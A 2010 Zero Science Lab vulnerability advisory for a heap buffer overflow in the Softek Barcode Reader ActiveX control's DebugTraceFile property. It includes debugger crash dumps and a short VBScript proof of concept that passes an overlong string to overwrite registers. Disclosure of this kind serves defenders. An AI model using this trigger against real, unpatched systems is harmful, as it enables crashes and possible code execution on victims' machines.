Softek Barcode Reader Toolkit ActiveX 7.1.4.14 (SoftekATL.dll) Buffer Overflow PoC

Vendor: Softek Software Ltd
Product web page: http://www.bardecode.com
Affected version: 7.1.4.14

Summary: The Softek Barcode Reader Toolkit for Windows is a SDK that enables applications
to extract barcode information from images. The API's available in the toolkit include .net,
java, com, ocx and windows dll. The standard version includes support for both 1 and 2-D
barcodes and special features include the ability to split documents by barcode position.

Desc: The vulnerability is caused due to a boundary error in SoftekATL.DLL when handling the
value assigned to the "DebugTraceFile" property and can be exploited to cause a heap-based
buffer overflow via an overly long string which may lead to execution of arbitrary code.

--------------------------------------------------------------------------

(824.ce0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=44444444 ecx=7ffdf000 edx=00470608 esi=00470000 edi=4444443c
eip=7c96fa89 esp=0013f0a0 ebp=0013f100 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
ntdll!RtlpNtMakeTemporaryKey+0x7d45:
7c96fa89 0fb707          movzx   eax,word ptr [edi]       ds:0023:4444443c=????
0:000> g
(824.ce0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=42424242 ecx=7ffdf000 edx=00470608 esi=00470000 edi=4242423a
eip=7c96fa89 esp=0013f0ac ebp=0013f10c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
ntdll!RtlpNtMakeTemporaryKey+0x7d45:
7c96fa89 0fb707          movzx   eax,word ptr [edi]       ds:0023:4242423a=????
0:000> g
eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97e120 esi=7c90de6e edi=00000000
eip=7c90e514 esp=0013fe5c ebp=0013ff58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret

-----------------------

EIP 7C96FA89
EAX 00000001
EBX 42424242
ECX 7FFDD000 -> 0013F0FC
EDX 00470608 -> 00152CA0
EDI 42424239
ESI 00470000 -> 000000C8
EBP 0013F10C -> 0013F1F4
ESP 0013F0AC -> 00470000

--------------------------------------------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (English)
           Microsoft Windows Internet Explorer 8.0.6001.18702
           Softek Barcode Reader 7.3.1

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk

21.09.2010

Advisory ID: ZSL-2010-4965
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4965.php

Proof of Concept:
-----------------

<object classid='clsid:11E7DA45-B56D-4078-89F6-D3D651EC4CD6' id='bardecode' />
<script language='vbscript'>

targetFile = "C:\Program Files\Softek Software\Softek Barcode Toolkit\bin\SoftekATL.dll"
prototype  = "Property Let DebugTraceFile As String"
memberName = "DebugTraceFile"
progid     = "SoftekATL.CBarcode"
argCount   = 1

buffof = String(262, "A") + "BBBB" + String(4408, "C") + "DDDD"

bardecode.DebugTraceFile = buffof

</script>